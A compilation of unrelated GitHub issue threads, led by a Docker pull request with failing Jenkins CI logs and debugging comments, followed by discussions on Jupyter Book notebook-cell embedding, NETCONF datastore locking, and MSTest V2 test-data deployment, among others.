[docker] $ sh -xe C:\Users\Jenkins\AppData\Local\Temp\hudson7743239799954254399.sh
+ set +x

---

Job: Docker-PRs-Win2Lin FAILED:

---
d trip times in milli-seconds:
    Minimum = 0ms, Maximum = 4ms, Average = 2ms
C:\Users\Jenkins\AppData\Local\Temp\hudson7985480226575133460.sh: line 227: [: : integer expression expected
ERROR: Failed with exitcode 1 at Thu Feb 18 19:44:39 CUT 2016.
Build step 'Execute shell' marked build as failure
Performing Post build task...
Could not match :Build timed out  : False
Logical operation result is FALSE
Skipping script  : cd c:\scripts
sh timeout-post-build.sh

END OF POST BUILD TASK 	: 0
[PostBuildScript] - Execution post build scripts.
[docker] $ sh -xe C:\Users\Jenkins\AppData\Local\Temp\hudson3935470387178742529.sh
+ set +x

---

Job: Docker-PRs-userns FAILED:

---
ockerSuite.TestRunNetworkFilesBindMountROFilesystem (Test cannot be run when remapping root)
PASS: docker_cli_run_test.go:3680: DockerSuite.TestRunNetworkNotInitializedNoneMode	0.314s
PASS: docker_cli_run_test.go:493: DockerSuite.TestRunNoDupVolumes	0.191s
PASS: docker_cli_run_test.go:2218: DockerSuite.TestRunNoOutputFromPullInStdout	1.597s
PASS: docker_cli_run_test.go:3902: DockerSuite.TestRunNonExecutableCmd	0.492s

----------------------------------------------------------------------
FAIL: docker_cli_run_test.go:3913: DockerSuite.TestRunNonExistingCmd

docker_cli_run_test.go:3919:
    c.Fatalf("Run non-existing command should have errored with exit code 127, but we got exit: %d, State.ExitCode: %s", exit, stateExitCode)
... Error: Run non-existing command should have errored with exit code 127, but we got exit: 125, State.ExitCode: -1 cantstart: Cannot start container 16576e1f1b67a6646a364fc288b1343590d53df9e715883f7dca3ef2370b2354: [10] System error: invalid character 'b' looking for beginning of value

----------------------------
---

Job: Docker-PRs-Win2Lin FAILED:

---
dles/1.11.0-dev/test-integration-cli)
SECURITY WARNING: You are building a Docker image from Windows against a non-Windows Docker host. All files and directories added to build context will have '-rwxr-xr-x' permissions. It is recommended to double check and reset permissions for sensitive files and directories.
+ go test -test.timeout=120m -check.v github.com/docker/docker/integration-cli
# github.com/docker/docker/integration-cli
.\docker_cli_cp_to_container_test.go:62: undefined: system.Stat
FAIL	github.com/docker/docker/integration-cli [build failed]
+ ec=1
+ set +x
ERROR: CLI test failed.
ERROR: Failed with exitcode 1 at Thu Feb 18 20:23:45 CUT 2016.
Build step 'Execute shell' marked build as failure
Performing Post build task...
Could not match :Build timed out  : False
Logical operation result is FALSE
Skipping script  : cd c:\scripts
sh timeout-post-build.sh

END OF POST BUILD TASK 	: 0
[PostBuildScript] - Execution post build scripts.
[docker] $ sh -xe C:\Users\Jenkins\AppData\Local\Temp\hudson3817679874186965674.sh
+ set +x

---

Job: Docker-PRs-gccgo FAILED:

---
.pN57_github_com_docker_docker_integration_cli.DockerTrustSuite
SKIP: docker_cli_create_test.go:309: TestUntrustedCreate.pN57_github_com_docker_docker_integration_cli.DockerTrustSuite
SKIP: docker_cli_pull_trusted_test.go:49: TestUntrustedPull.pN57_github_com_docker_docker_integration_cli.DockerTrustSuite
SKIP: docker_cli_run_test.go:3190: TestUntrustedRun.pN57_github_com_docker_docker_integration_cli.DockerTrustSuite

----------------------------------------------------------------------
FAIL: docker_cli_authz_unix_test.go:231: TestAuthZPluginAllowEventStream.pN57_github_com_docker_docker_integration_cli.DockerAuthzSuite

[d36975000] waiting for daemon to start
[d36975000] daemon started
[d36975000] exiting daemon
[d36975000] waiting for daemon to start
[d36975000] received status != 200 OK: 500 Internal Server Error
[d36975000] daemon started
events_utils.go:125:
    c.Fatalf("failed to observe event `%s` for %s. Disconnection error: %v\nout:\n%v", event, id, e.disconnectionError, scannerOut)
... Error: failed to observe event `start` for b417fa5b1f9a8d08459321b35b8d6a5c51a3b1395fd13d6a2eca6f01a5f1c24
---

Job: Docker-PRs FAILED:

---

./docker_cli_cp_to_container_unix_test.go:30: undefined: checker in checker.IsNil
./docker_cli_cp_to_container_unix_test.go:32: undefined: checker in checker.IsNil
./docker_cli_cp_to_container_unix_test.go:33: undefined: checker in checker.Equals
./docker_cli_cp_to_container_unix_test.go:33: undefined: check in check.Commentf
./docker_cli_cp_to_container_unix_test.go:34: undefined: checker in checker.Equals
./docker_cli_cp_to_container_unix_test.go:34: undefined: check in check.Commentf
FAIL	github.com/docker/docker/integration-cli [build failed]
---> Making bundle: .integration-daemon-stop (in bundles/1.11.0-dev/test-integration-cli)
+++++ cat bundles/1.11.0-dev/test-integration-cli/docker.pid
++++ kill 11807
++++ /etc/init.d/apparmor stop
 * Clearing AppArmor profiles cache
   ...done.
All profile caches have been cleared, but no profiles have been unloaded.
Unloading profiles will leave already running processes permanently
unconfined, which can lead to unexpected situations.

To set a process to complain mode, use the comm
---

Job: Docker-PRs-gccgo FAILED:

---
      ^
./docker_cli_cp_to_container_unix_test.go:34:23: error: unexpected reference to package
  c.Assert(stat.GID(), checker.Equals, uint32(gid), check.Commentf("Copied file not owned by container root GID"))
                       ^
./docker_cli_cp_to_container_unix_test.go:34:52: error: unexpected reference to package
  c.Assert(stat.GID(), checker.Equals, uint32(gid), check.Commentf("Copied file not owned by container root GID"))
                                                    ^
FAIL	github.com/docker/docker/integration-cli [build failed]
---> Making bundle: .integration-daemon-stop (in bundles/1.11.0-dev/test-integration-cli)
+++++ cat bundles/1.11.0-dev/test-integration-cli/docker.pid
++++ kill 5313
++++ /etc/init.d/apparmor stop
Clearing AppArmor profiles cache:.
All profile caches have been cleared, but no profiles have been unloaded.
Unloading profiles will leave already running processes permanently
unconfined, which can lead to unexpected situations.

To set a process to complain mode, use the command line tool

---

Job: Docker-PRs-experimental FAILED:

---

./docker_cli_cp_to_container_unix_test.go:30: undefined: checker in checker.IsNil
./docker_cli_cp_to_container_unix_test.go:32: undefined: checker in checker.IsNil
./docker_cli_cp_to_container_unix_test.go:33: undefined: checker in checker.Equals
./docker_cli_cp_to_container_unix_test.go:33: undefined: check in check.Commentf
./docker_cli_cp_to_container_unix_test.go:34: undefined: checker in checker.Equals
./docker_cli_cp_to_container_unix_test.go:34: undefined: check in check.Commentf
FAIL	github.com/docker/docker/integration-cli [build failed]
---> Making bundle: .integration-daemon-stop (in bundles/1.11.0-dev/test-integration-cli)
+++++ cat bundles/1.11.0-dev/test-integration-cli/docker.pid
++++ kill 11894
++++ /etc/init.d/apparmor stop
 * Clearing AppArmor profiles cache
   ...done.
All profile caches have been cleared, but no profiles have been unloaded.
Unloading profiles will leave already running processes permanently
unconfined, which can lead to unexpected situations.

To set a process to complain mode, use the comm
---

Job: Docker-PRs-userns FAILED:

---
li)
++++ tar -cC /docker-frozen-images .
++++ docker load
++++ set +x
Untagged: hello-world:latest
---> Making bundle: .ensure-httpserver (in bundles/1.11.0-dev/test-integration-cli)
---> Making bundle: .ensure-syscall-test (in bundles/1.11.0-dev/test-integration-cli)
+ go test -check.f DockerSuite -test.timeout=90m -check.v github.com/docker/docker/integration-cli
# github.com/docker/docker/integration-cli
./docker_cli_cp_to_container_unix_test.go:32: undefined: system in system.Stat
FAIL	github.com/docker/docker/integration-cli [build failed]
---> Making bundle: .integration-daemon-stop (in bundles/1.11.0-dev/test-integration-cli)
+++++ cat bundles/1.11.0-dev/test-integration-cli/docker.pid
++++ kill 1888
++++ /etc/init.d/apparmor stop
 * Clearing AppArmor profiles cache
   ...done.
All profile caches have been cleared, but no profiles have been unloaded.
Unloading profiles will leave already running processes permanently
unconfined, which can lead to unexpected situations.

To set a process to complain mode, use the comma
---

Adding this to the 1.10.2 milestone (if it's released), since userns is a new feature in 1.10

Job: Docker-PRs-gccgo FAILED:

---
.pN57_github_com_docker_docker_integration_cli.DockerTrustSuite
SKIP: docker_cli_create_test.go:309: TestUntrustedCreate.pN57_github_com_docker_docker_integration_cli.DockerTrustSuite
SKIP: docker_cli_pull_trusted_test.go:49: TestUntrustedPull.pN57_github_com_docker_docker_integration_cli.DockerTrustSuite
SKIP: docker_cli_run_test.go:3190: TestUntrustedRun.pN57_github_com_docker_docker_integration_cli.DockerTrustSuite

----------------------------------------------------------------------
FAIL: docker_cli_authz_unix_test.go:231: TestAuthZPluginAllowEventStream.pN57_github_com_docker_docker_integration_cli.DockerAuthzSuite

[d46117000] waiting for daemon to start
[d46117000] daemon started
[d46117000] exiting daemon
[d46117000] waiting for daemon to start
[d46117000] received status != 200 OK: 500 Internal Server Error
[d46117000] daemon started
events_utils.go:125:
    c.Fatalf("failed to observe event `%s` for %s. Disconnection error: %v\nout:\n%v", event, id, e.disconnectionError, scannerOut)
... Error: failed to observe event `start` for 403002c89175bb50f2dee13ebe49290fca3821d29b77eb231f59577c18242f7
---

Job: Docker-PRs-userns FAILED:

---
0xc82032e108, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0)
	/usr/local/go/src/io/io.go:375 +0x180
io.Copy(0x7fc1e75938a8, 0xc820bb0850, 0x7fc1e758eaf8, 0xc82032e108, 0x0, 0x0, 0x0)
	/usr/local/go/src/io/io.go:351 +0x64
os/exec.(*Cmd).writerDescriptor.func1(0x0, 0x0)
	/usr/local/go/src/os/exec/exec.go:232 +0x8b
os/exec.(*Cmd).Start.func1(0xc82152a500, 0xc820513120)
	/usr/local/go/src/os/exec/exec.go:340 +0x1d
created by os/exec.(*Cmd).Start
	/usr/local/go/src/os/exec/exec.go:341 +0x96d
exit status 2
FAIL	github.com/docker/docker/integration-cli	5400.066s
---> Making bundle: .integration-daemon-stop (in bundles/1.11.0-dev/test-integration-cli)
+++++ cat bundles/1.11.0-dev/test-integration-cli/docker.pid
++++ kill 1883
++++ /etc/init.d/apparmor stop
 * Clearing AppArmor profiles cache
   ...done.
All profile caches have been cleared, but no profiles have been unloaded.
Unloading profiles will leave already running processes permanently
unconfined, which can lead to unexpected situations.

To set a process to complain mode, use the comma
---

LGTM

LGTM

Job: Docker-PRs-userns FAILED:

---
0xc820070d68, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0)
	/usr/local/go/src/io/io.go:375 +0x180
io.Copy(0x7f02362a17b0, 0xc8202d35e0, 0x7f023629cba8, 0xc820070d68, 0x0, 0x0, 0x0)
	/usr/local/go/src/io/io.go:351 +0x64
os/exec.(*Cmd).writerDescriptor.func1(0x0, 0x0)
	/usr/local/go/src/os/exec/exec.go:232 +0x8b
os/exec.(*Cmd).Start.func1(0xc8204a5900, 0xc820578240)
	/usr/local/go/src/os/exec/exec.go:340 +0x1d
created by os/exec.(*Cmd).Start
	/usr/local/go/src/os/exec/exec.go:341 +0x96d
exit status 2
FAIL	github.com/docker/docker/integration-cli	5400.138s
---> Making bundle: .integration-daemon-stop (in bundles/1.11.0-dev/test-integration-cli)
+++++ cat bundles/1.11.0-dev/test-integration-cli/docker.pid
++++ kill 1882
++++ /etc/init.d/apparmor stop
 * Clearing AppArmor profiles cache
   ...done.
All profile caches have been cleared, but no profiles have been unloaded.
Unloading profiles will leave already running processes permanently
unconfined, which can lead to unexpected situations.

To set a process to complain mode, use the comma
---

Will investigate the userns CI as soon as i can

@tiborvass I'm not sure how to dig further into that without a recreate outside of CI--I've seen it before; some form of hung process trying to run a command; but not enough info in the Goroutine dump to explain why. I'm also not sure if it only relates to userns CI runs, as I feel like I've seen the timeouts in other runs as well?

@estesp no it doesnt seem specific to userns, but itd be great to have userns be green on this pr

(*DockerSuite).TestBuildHistory(0x14823e8, 0xc82032aa50) hangs.
20:55:47 os/exec.(*Cmd).Wait(0xc8204a5900, 0x0, 0x0)
20:55:47 	/usr/local/go/src/os/exec/exec.go:380 +0x211
20:55:47 os/exec.(*Cmd).Run(0xc8204a5900, 0x0, 0x0)
20:55:47 	/usr/local/go/src/os/exec/exec.go:258 +0x64
20:55:47 os/exec.(*Cmd).CombinedOutput(0xc8204a5900, 0x0, 0x0, 0x0, 0x0, 0x0)
20:55:47 	/usr/local/go/src/os/exec/exec.go:424 +0x310
20:55:47 github.com/docker/docker/pkg/integration.RunCommandWithOutput(0xc8204a5900, 0x0, 0x0, 0x2, 0x0, 0x0)
20:55:47 	/go/src/github.com/docker/docker/pkg/integration/utils.go:66 +0x41
20:55:47 github.com/docker/docker/integration-cli.runCommandWithOutput(0xc8204a5900, 0x0, 0x0, 0x15e, 0x0, 0x0)
20:55:47 	github.com/docker/docker/integration-cli/_test/_obj_test/utils.go:39 +0x47
20:55:47 github.com/docker/docker/integration-cli.buildImageWithOut(0xe9f440, 0x10, 0xfe2900, 0x15e, 0xc820039701, 0x0, 0x0, 0x0, 0x0, 0x0, ...)
20:55:47 	github.com/docker/docker/integration-cli/_test/_obj_test/docker_utils.go:1675 +0xd8
20:55:47 github.com/docker/docker/integration-cli.buildImage(0xe9f440, 0x10, 0xfe2900, 0x15e, 0xc81ffdad01, 0x0, 0x0, 0x0, 0x0, 0x0, ...)
20:55:47 	github.com/docker/docker/integration-cli/_test/_obj_test/docker_utils.go:1710 +0xad
20:55:47 github.com/docker/docker/integration-cli.(*DockerSuite).TestBuildHistory(0x14823e8, 0xc82032aa50)
20:55:47 	/go/src/github.com/docker/docker/integration-cli/docker_cli_history_test.go:48 +0x12d
20:55:47 reflect.Value.call(0xe03ec0, 0x14823e8, 0x18113, 0xe113d8, 0x4, 0xc82048bf10, 0x1, 0x1, 0x0, 0x0, ...)
Working up the stack shows that buildImage -> buildImageWithOut are called with valid args.
integration-cli.buildImageWithOut(0xe9f440, 0x10, 0xfe2900, 0x15e, 0xc820039701, 0x0, 0x0, 0x0, 0x0, 0x0, ...)
buildImageWithOut(name, dockerfile string, useCache bool, buildFlags ...string)

string name: 0xe9f440 (ptr), 0x10 (length).
In our case, name is "testbuildhistory" - 16 = 0x10

string dockerfile: 0xfe2900 (ptr), 0x15e (length)
In our case, this is the string representing the contents of the dockerfile.
12 + 1(for \n) * 26 + 12 = 312 + 13 = 350

useCache: 0xc820039701. Bits are packed, so that last byte is what we are looking for.
i.e useCache = 1, so we are good.

However, the build command doesnt complete on time (80 minutes in this case), the alarm kicks in and test panics.

LGTM!


Pasting notebook cells / inputs / outputs into content

I think it would be useful if authors had the ability to insert cells (optionally both/either inputs and outputs) from notebooks directly into their text.
This would let people mix-and-match their notebook content directly into their book content, might provide an easier path forward for folks that don't want to use glue, would make gluelike functionality available to all languages instead of just Python, and might provide an escape hatch for folks that want to include cells inside of admonitions (see https://github.com/executablebooks/meta/issues/143).
I imagine something like a nb (for "notebook") domain that would let you reference cells/intputs/outputs, so something like:
```{nb:cell} path-to-notebook-file:{cell-#}
```

or
```{nb:cell} path-to-notebook-file
:cell: {cell-#}
```

If the notebook had a named cell according to the name cell-level metadata or the coming cell-id metadata, it might look like:
```{nb:cell} path-to-notebook-file:{cell-name}
```

By default this would grab the whole cell and include it in the doctree as a code / list of CellOutputBundles (one per output).
However, you could imagine specifying a specific output like so:
```{nb:cell} path-to-notebook-file:{cell-name}
:output: 1
```

And you could trigger "only input", "only output" etc via another option:
```{nb:cell} path-to-notebook-file:{cell-name}
:include: input,output (or just input, or up to [input,output,stdout,stderr])
```

What do folks think about this? I don't know that this is necessarily the right UX for the feature (putting it under an nb domain etc), but do folks like the general contours of this?

Wouldn't the most natural use case for this be including cells from the same document in the places where they otherwise may not appear?
I am hesitant to encourage the pattern of splitting code that generates outputs, and the description of those outputs: in my experience that is more error-prone.

potentially - though I'm not sure what all the different use-cases might be. I know that people think glue functionality is pretty cool, and this is kinda another take on the same challenge. I think if anything it could be good to prototype and release an alpha version of this to see what feels more useful and natural

I am hesitant to encourage the pattern of splitting code that generates outputs, and the description of those outputs

As I've said before, this is the Model–View–Controller pattern, which is a ubiquitous design pattern, and so I see no issue in using it.

 ```{nb:cell} path-to-notebook-file:{cell-#}
 ```

For conciseness, the output should default to an id from the same notebook, and so you should not need to specify the notebook docname unless it is in a different file

About MVC, see the advantages and disadvantages in the wiki article. I was referring to things like:

Disadvantages:

Multi-artifact consistency – Decomposing a feature into three artifacts causes scattering. Thus, requiring developers to maintain the consistency of multiple representations at once.
Undermined by inevitable clustering – Applications tend to have heavy interaction between what the user sees and what the user uses. Therefore each feature's computation and state tends to get clustered into one of the 3 program parts, erasing the purported advantages of MVC.

I think the typical complexity of individual components in the authoring context is relatively low. Since JB aims to accommodate non-expert users, exposing them to more complex tools may be something to avoid unless it brings clear benefits.

both of the disadvantages you mention here are to do with backend development, not to do with what users are exposed to

Isn't the "backend" here what the authors of the book are doing? Otherwise I don't understand how MVC applies to a discussion of author-facing markup. Can you explain?

Without getting into a debate about computer program design principles, one thing we've noticed in our own workflows and in the workflows of others, is that you often have two kinds of notebook material you're working with: one where you're doing the analyses, and another where you're writing about the analyses. Sometimes those material exist on the same page, but not always.
So glue functionality as well as this functionality are both attempts at letting people re-use content across those boundaries. As an example, I often see people with one gigantic analysis notebook that generates a ton of figures. They save each to PNG and then reference that PNG in a latex file etc. In this case, you don't need to write a figure to disk, you can just glue it or in this issue, reference the notebook / cell output to insert it elsewhere.
I think the more general point is that this is something that users seem to find interesting and maybe useful (at least when I've spoken about "glue" stuff they like it) and it's worth exploring...I don't know that we should have super strong opinions about what users "should" and "shouldn't" do with these tools, particularly when they are in beta. My intuition is see how people use the features and decide the right path forward at that time.

A notebook with copypasted figures is an interesting use case, I didn't consider it. I certainly encountered it in research and daily work, but not so much in making books though.
Also a very good point about checking how the users use different features. This inspired me to check how glue (as the closest similar feature) is used out in the wild. I found that code-cell extension:md is a pretty good proxy for jupyter-books out there, that don't have notebooks as their primary format. Unfortunately I can't come up with a similar query that targets ipynb-based jb users, and I didn't want to go full graphql.
What I seem to find:

1k repositories with code-cell in markdown. At a glance these all seem to be jupyter-books, nice!
62 repos with code-cell glue extension:md. A fraction of those are demoing jb itself, but there are also actual users.
The uses of glue out in the wild are instructive. I saw:

RMarkdown-like insertion of variables in text, very natural
A sequence of a glued figure, followed directly by a hidden code-cell with glue source. Does this bring any advantages compared to just hiding the input?
A cross-document figure glue (so something like @choldgraf describes, except there's no notebook with lots of figures). This one, curiously, in a thesis of my former student :D

Not sure what to make of this, but I thought it may be interesting to share. With ~1k books out there, it becomes possible to check how different features get utilized.

that is very interesting, thanks for sharing!
quick thoughts:

Unfortunately I can't come up with a similar query that targets ipynb-based jb users

hmmm yeah that's tough because github strips the {}. Maybe there's some way to filter by dependents (https://github.com/executablebooks/jupyter-book/network/dependents)?

Does this bring any advantages compared to just hiding the input?

I think the main thing is that you can format things more via glue. E.g. you can use matplotlib to make a figure and then insert it into your text with a caption + a label that you can then reference via {ref}.

Thanks for the analysis @akhmerov very interesting

Could this help in tabbing some auto-executed code that basically does the same thing or very similar ones?
At ArviZ we have for example: https://arviz-devs.github.io/arviz/user_guide/label_guide.html. Where we use tabs to show side by side examples of sorting in xarray (so the order is stored in the dataset and persists) or sorting via ArviZ kwargs (so it affects a single call only). This is currently written in rST but maybe something like running+hiding+gluing cells inside the right tab can get the same result from a notebook, so we can also use caching or storing the outputs in the notebook and not running them during doc building.
We also have things like https://arviz-devs.github.io/arviz/user_guide/sampling_wrappers.html where a task needs interfacing with another library and there are relevant differences between libraries but still a significant skeleton and part of the content is common between all cases, having a notebook per library with code and explaining differences and then using tabs again might be useful? Not sure it's the best way to go here but might be interesting to try


[QUESTION] Is there any way to get the volume or loudness of each channel fast or before play start？

[QUESTION] Is there any to get the volume or loudness of each channel fast or before play start？
I want to play midi using SpessaSynth，but sometimes the volume of each channel will be too big or too small,so that I can only change the volume myself.
Is there any way or idea I can get the loudness before playing?

Hi,
Volume can be influenced by many things, such as the velocity of the note, volume controllers and system exclusives.
But you can try using the eventHandler and listen to the controllerchange event for volume and expression controllers.


Add "Step to cursor" action in the debugger

We want to tell the debugger to step to the position of cursor.

Yes! I definitely miss this


 on candidate datastore does not discard outstanding changes as in RFC

Hi,
this issue refers to lock / unlock of candidate datatore. RFC says:

https://tools.ietf.org/html/rfc6241#section-<IP_ADDRESS>
When a client fails with outstanding changes to the candidate
configuration, recovery can be difficult.  To facilitate easy
recovery, any outstanding changes are discarded when the lock is
released, whether explicitly with the  operation or
implicitly from session failure.

The failing test sequences are:
    //unlock
    <lock> (target=candidate)
    <edit-config> <someleaf>sometext</someleaf>
    <unlock> (target=candidate)
    <get-config> (datastore=candidate) - assert text(<someleaf>) == ""

    // session loss
    [session1] <lock> (target=candidate)
    [session1] <edit-config> <someleaf>sometext</someleaf>
    [session1] closed
    [session2]<get-config> (datastore=candidate) - assert text(<someleaf>) == ""

    // session kill
    [session1] <lock> (target=candidate)
    [session1] <edit-config> <someleaf>sometext</someleaf>
    [session2] kill session 1
    [session2]<get-config> (datastore=candidate) - assert text(<someleaf>) == ""

Btw, this all worked with legacy sysrepo / netopeer2.
Thanks and regards
Jens

Hi Michal,
How to subscribe for lock/unlock RPC ?
Do we need to use rpc_subscribe("/ietf-netconf:lock", mycb);

Hello @michalvasko, what is your opinion about that? - Thanks Jens

Hi,
right, it just took some time until I got to this issue. With the latest sysrepo it should work now as suggested.
Regards,
Michal


Question: Always Reading From Line 1 on File Change

I am wondering if there is a way to only read newly added lines. Using the t.Tell(), I can get close but this is not the most accurate.

Looks like there's an open PR for this feature @samkreter: https://github.com/hpcloud/tail/pull/123

#123 looks good.


apktool: 2.2.4 -> 2.3.0

Motivation for this change
Version bump
And refresh the homepage (see #30636 )
Things done

[ ] Tested using sandboxing (nix.useSandbox on NixOS, or option build-use-sandbox in nix.conf on non-NixOS)
Built on platform(s)

[x] NixOS
[ ] macOS
[ ] other Linux distributions

[ ] Tested via one or more NixOS test(s) if existing and applicable for the change (look inside nixos/tests)
[ ] Tested compilation of all pkgs that depend on this change using nix-shell -p nox --run "nox-review wip"
[x] Tested execution of all binary files (usually in ./result/bin/)
[x] Fits CONTRIBUTING.md.

Thanks!


Adding e2e tests from Appsody

What this PR does / why we need it?:

Includes e2e tests from Appsody that have been changed for the Runtime Operator

Which issue(s) this PR fixes:

Fixes #5

@JusteenR Thanks for the PR. It'll be good to avoid referencing or including modules from Open Liberty and Appsody operator as Application Runtime operator will be the base for those operators. If any modules are needed from them, please include them as part of this operator. Thanks.

@leochr no modules from Open Liberty or Appsody were referenced, I copied them over directly to this operator and changed the naming for the applicable tests

@JusteenR The tests don't reference Open Liberty or Appsody. But the go related files do, which is causing the OL/Appsody modules to be included under vendor directory.


add parameter for number of times to run (defaults to 1)

e.g., we likely want to get variance / std for a run, and especially if it's quick (e.g., lammps is 20 seconds) it makes sense to run more than once!

Closed by #6


Feature/log to be

Refactor logger structure.
Add listener for global errors.

Pls increment minor version


issue to copy all test data files to output folder using runsettings file, as supported by testsettings file

Description
We are following Microsoft DevOps Blog Link to migrate from MsTest to MsTestV2
Earlier Unit Test Scripts using the testsettings files, testsettings deployment setting looks like as below:
 <Deployment>     <DeploymentItem filename="WebUITestProject\Data\GE1\US\" />     <DeploymentItem filename="Data\GE1\US\" />   </Deployment>
With the above setting, MsTest framework copy all the test data files from “US” folder to output folder.
And the Datasource attribute of test case looks like:
[DataSource("Microsoft.VisualStudio.TestTools.DataSource.XML", "testdatafile.xml", "node", DataAccessMethod.Sequential)]
And the testdata is accessible through TestContext DataRow property.
Test project contains several small Testdata files for different regions and test environment, and to switch between the different regions and test environment, only change is to select different testsettings file.
e.g. Testdata files maintain like the below structure, where GE1, GE2 and GE3 indicates the Test Environment and UK & US are indication for regions

To migrate the testsettings file I followed the Visual studio SettingsMigrator blog, and this link talks about to configure the unit test by using runsettings file
After migration to MsTestV2 and with runsettings file, Test data files for a designated folder doesn’t copy to output folder,
even if  include multiple Deployment tag(one for each file)  “/RunSettings/LegacySettings/Deployment”, files doesn’t copy to output folder.
I tried to give the full path as per this link or Relative path but the above didn’t work.
For the time being, Test scripts has DeploymentItem and DataSource attributes
<EMAIL_ADDRESS>"TestData")] [DataSource("Microsoft.VisualStudio.TestTools.DataSource.XML", "|DataDirectory|\\TestData\\PartnerPortal_US.xml", "PartnerPortal", DataAccessMethod.Sequential)]
The problem with the above approach is, all DeploymentItem path require change to run the automation for different test environment or region. That further includes the multiple builds.
Steps to reproduce
Unzip the attach solution
WebUITestProject.zip
Put a break point on the first line of testcase, Debug the test case. Once hit the breakpoint
Check output folder, output folder contains only the files mentioned at DeploymentItem attribute, no file from "WebUITestProject\Data\GE1\US" to output folder.
Expected behavior
Test Data files should copy to the output folder as specified in runsettings
Actual behavior
Test Data files don't copy, only deploymentItem attribute is working.
Environment
Vs 2017
MsTest V2
Windows 10

@karanjitsingh thanks for the update, I tried the solution you have suggested but didn't work for me.
just elaborate little more:
Deploymentitem attribute of test case looks like:
<EMAIL_ADDRESS>"TestData")]
and the file PartnerPortal_US.xml gets copied to out folder TestResults\Deploy_<userName> 2019-02-01 13_30_29\Out\TestData folder
the solution you have shared have total 3 files under Data\GE1\US, with the runsettings deployment item no files copied to ``TestResults\Deploy_ 2019-02-01 13_30_29\Out` folder.
I tried different path like:
<DeploymentItem filename=".\WebUITestProject\Data\GE1\US\PartnerPortal_US_2.xml" /> <DeploymentItem filename=".\Data\GE1\US\PartnerPortal_US_2.xml" /> <DeploymentItem filename=".\Data\GE1\US\" /> <DeploymentItem filename=".\WebUITestProject\Data\GE1\US\" /> <DeploymentItem filename="WebUITestProject\Data\GE1\US\" /> <DeploymentItem filename="Data\GE1\US\" />
attaching the runsettings file and one of  ``TestResults\Deploy_ 2019-02-01 13_30_29\Out`  folder for your reference.
US_GE1_TestData.zip
I think we are close to the solution, required your little help to solve the issue.
In Microsoft blog i read, they were using the file full path, not sure here how I'll pass the relative path.

another work around could be, create few batch file to perform xCopy and include as setupscript in runsettings. there also we need a relative path. I'll try that solution and let you know the result.
Meanwhile please share your point of view on the above.
Thanks
Anshul

@anshuls01, this seems to be really weird behavior so i'll be marking this as a bug.
Just to clarify, the <LegacySettings> does not work with MSTestV2. I would suggest using the [DeploymentItem()] attribute only.

@karanjitsingh  I tried with Batch script as well, but doesn't seems to be trigger at all.
If <LegacySettings> does not work with MsTestV2, it'll be a real challenge to migrate to V2.
[DeploymentItem()] alone doesn't solve the problem entirely and requires lots of change to run the same test script for multiple test environments (Where each test environments uses separate set of test data)
Is it possible to share the time line by when solution can be expected?

@anshuls01 as a workaround, can use the following runsettings.
<?xml version="1.0" encoding="utf-8"?>
<RunSettings>
  <!-- Configurations that affect the Test Framework -->
  <RunConfiguration>
    <ResultsDirectory>.\TestResults</ResultsDirectory>
  </RunConfiguration>
  <WebTestRunConfiguration testTypeId="4e7599fa-5ecb-43e9-a887-cd63cf72d207">
    <Browser name="Internet Explorer 9.0" MaxConnections="6">
      <Headers>
        <Header name="User-Agent" value="Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" />
        <Header name="Accept" value="*/*" />
        <Header name="Accept-Language" value="{{$IEAcceptLanguage}}" />
        <Header name="Accept-Encoding" value="GZIP" />
      </Headers>
    </Browser>
  </WebTestRunConfiguration>
  <MSTest>
    <DeployTestSourceDependencies>false</DeployTestSourceDependencies>
    <DeploymentEnabled>True</DeploymentEnabled>
  </MSTest>
</RunSettings>

This will copy all of the items from the bin directory to the out directory, this should help you with your scenario.

@karanjitsingh Yes it's working as you mentioned, still my original problem not solved by this.
the structure I got in output folder is like the below image:

even now if the same automation script needs to execute on different TestEnvironment, then [DataSource()] attribute value requires modification.
Is it possible to run a batch script (before testcase execution start) to copy the files from inner directory to output directory root? just thinking another workaround. still not sure how the parameter will pass to the batch script and how the batchscript get to know the output folder.

@anshuls01 you can get the results run directory through TestContext.TestRunResultsDirectory

@karanjitsingh Yes, that's an option, still I am away to solve the original problem.
Another possible solution I tried to Extend the test case execution at Test method level
only one problem I am facing here, TestContext is not accessible inside
public override TestResult[] Execute(ITestMethod testMethod)
if test context available here, i can configure the run settings to pass the parameter and do the deployment of necessary files to out directory before test case start.

@anshuls01, if you want to access TestContext inside a test method store it in a static variable during class initialize and access that variable through in the method.

@karanjitsingh I am trying with TestMethod Extensions, till now it progressing good 👍
I am able to access the TestContext as you suggested 💯, earlier the same thing I was trying with public class, according to me it should work but didn't.
I'll keep you posted on progress

@karanjitsingh I created one TestMethod Extension (let say DeploymentExtension)
DeploymentExtension: copies the required test data files to Out directory, Test data files path mentioned in runsettings file.
  <TestRunParameters>     <Parameter name="DeploymentFolder" value="Data\GE1\US"/>   </TestRunParameters>
the above extension is working fine, and able to copy the testdata files to Out folder
I run into a weired situation, on a TestMethod if specified [DeploymentExtension] attribute and [DataSource] attribute, [DataSource] attribute trigger first, due to that following error coming "The unit test adapter failed to connect to the data source or to read the data" and that error has to be, cause testdata files are not present in Out folder.
is there are any way to know which Attribute will evaluate first?

@karanjitsingh  i think i got the Answer, if wrting the TestMethod attribute extension then tiggering the testcase ITestMethod.Invoke() will be the responsiblity of attribute extension, and that will be responsible to provide the test data to test case.
sorry for creating the confusion.

@karanjitsingh Hello Karan, I am able to resolve the issue for now by extended the Test Method and access the test context object. Please let me know once this issue fixed, it'll save a few lines of custom code force to add to handle the Test data file.
I've one more open issue to access the RunId property value, earlier in MsTest we use to get the run Id TestContext.Properties["__Tfs_TestRunId__"]  and that run id is very crucial for us to track the execution through TFS services.
the above issue marked as an enhancement, still waiting to resolve this issue and blocker to move to MsTestV2.
Thanks
Anshul

@anshuls01 : In your repro project attached in the 'steps to reporoduce', the path of DeploymentItem is not relative to the runsettings file. Please try the path as
<DeploymentItem filename="WebUITestProject\Data\GE1\US\" />

Also, it seems you are trying to use MSTestV2. But please note that LegacySettings are not honoured by MSTestV2. So, I went ahead and moved the project to MSTestV1 and things seems to be working fine for me without need of suppling any [DeploymentItem] attribute over tests.
Attaching a working project here
WebUITestProject_Working.zip
Let me know if this works for you!

@anshuls01 the workarounds suggested are the only way in mstest v2. We will not be adding support for deployment item in runsettings/testsettings for mstest V2.

